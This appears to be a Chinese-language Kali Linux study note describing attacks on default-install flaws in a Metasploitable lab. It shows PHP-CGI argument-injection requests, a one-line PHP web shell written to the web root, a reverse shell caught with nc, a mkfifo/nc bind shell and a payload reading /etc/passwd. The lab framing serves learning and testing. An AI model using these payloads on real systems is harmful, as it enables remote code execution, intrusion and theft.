1. 程式人生 > >Kali學習筆記29:預設安裝漏洞

Kali學習筆記29:預設安裝漏洞

文章的格式也許不是很好看,也沒有什麼合理的順序

完全是想到什麼寫一些什麼,但各個方面都涵蓋到了

能耐下心看的朋友歡迎一起學習,大牛和槓精們請繞道

 

早期Windows預設自動開啟很多服務

很多的黑客就會利用這些漏洞輕易獲取System許可權

在Linux和Windows系統中都會有很多的預設安裝漏洞

下面我就典型的案例來分析:

 

目標靶機Metasploitable的IP:192.168.163.129

Kali機器的IP:192.168.163.132

 

PHP部署的程式猿會知道:

phpMyAdmin專門用來管理MySQL資料庫

如果粗心的程式猿就會忘記進行配置

於是我們可以訪問到一些敏感的目錄(早期版本):

例如phpMyAdmin/setup

 

如果程式猿不進行一些訪問限制,那麼很多的黑客就可以通過這種方式來進入,從而進行惡意的操作

 

只是說沒有什麼意思,下面我具體地來利用這個漏洞來測試:

我用Burp來重發請求,並且做一定的修改:

POST http://192.168.163.129/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1                 
Host: 192.168.163.129
<?php passthru('id'); die(); ?>

通過上邊的一系列程式碼使目標機器執行作業系統的id命令

利用Burp的Repeater做到了,獲取了UID

 

 

那麼其他命令呢?比如ls

 

 

但是,我們如果傳送一些管理員許可權才可以使用的命令:比如reboot

這時候就不可以做了,因為我們獲取的只是普通許可權

 

那麼,我們是否可以寫檔案呢?是否可以獲取shell呢(其實這已經獲取了shell)?

 

第一種上傳網頁木馬

echo
"<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" >/var/www/2.php

 

伺服器返回了OK

 

接下來我們訪問:192.168.163.129/2.php?cmd=[命令],就得到shell了

 

 

然後就可以做提權了

 

第二種:使用Kali自帶的一些指令碼,直接獲取shell:反連Shell

我把它複製出來,稍作修改就可以使用:

 

 

 

儲存

 

然後把全篇內容作為Body用Repeater傳送:

注意這裡的HOST必須是Kali的IP

 

同時用nc監聽:nc -vlp

 

傳送後就獲得了真正的Shell

注意:這裡獲取了shell,但是並沒有在目標伺服器上寫入資料,只是反連接獲取了一個shell

 

有一個小問題:獲取了Shell,但是無法執行Ifconfig這個基本命令,需要怎麼辦?

whereis ifconfig搜尋位置

進入目標目錄,然後./ifconcig即可

 

Ubuntu/Debain預設安裝PHP5-CGI漏洞

其針對Apache/PHP遠端程式碼執行漏洞攻擊

該漏洞存在於使用PHP的Apache伺服器,在Debian和Ubuntu的伺服器上預設安裝php5-cgi模組的伺服器都存在此漏洞。

程式設計師可以使用CGI模組在PHP程式碼中呼叫作業系統的命令

如果安裝了PHP5-CGI,則會在/usr/lib/cgi-bin下面生成兩個二進位制檔案:php和php5

下面我會利用這裡的php遠端執行程式碼

我們傳送編碼後的引數資訊(編碼是為了防止伺服器過濾資訊)去獲取目標伺服器的shell

POST 
/cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
Host: 123
Content-Length: 45



<?php
echo system('cat /etc/passwd');
?>

 

不過,遺憾的是,這裡我失敗了

 

成功的話,理論上可以參照上邊的方式繼續進行滲透

甚至可以直接寫入指令,讓目標系統直接開啟某個埠,我用NC連線即可:

<?php
echo system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe');
?>

 

這一篇稍簡短一些,後邊我們繼續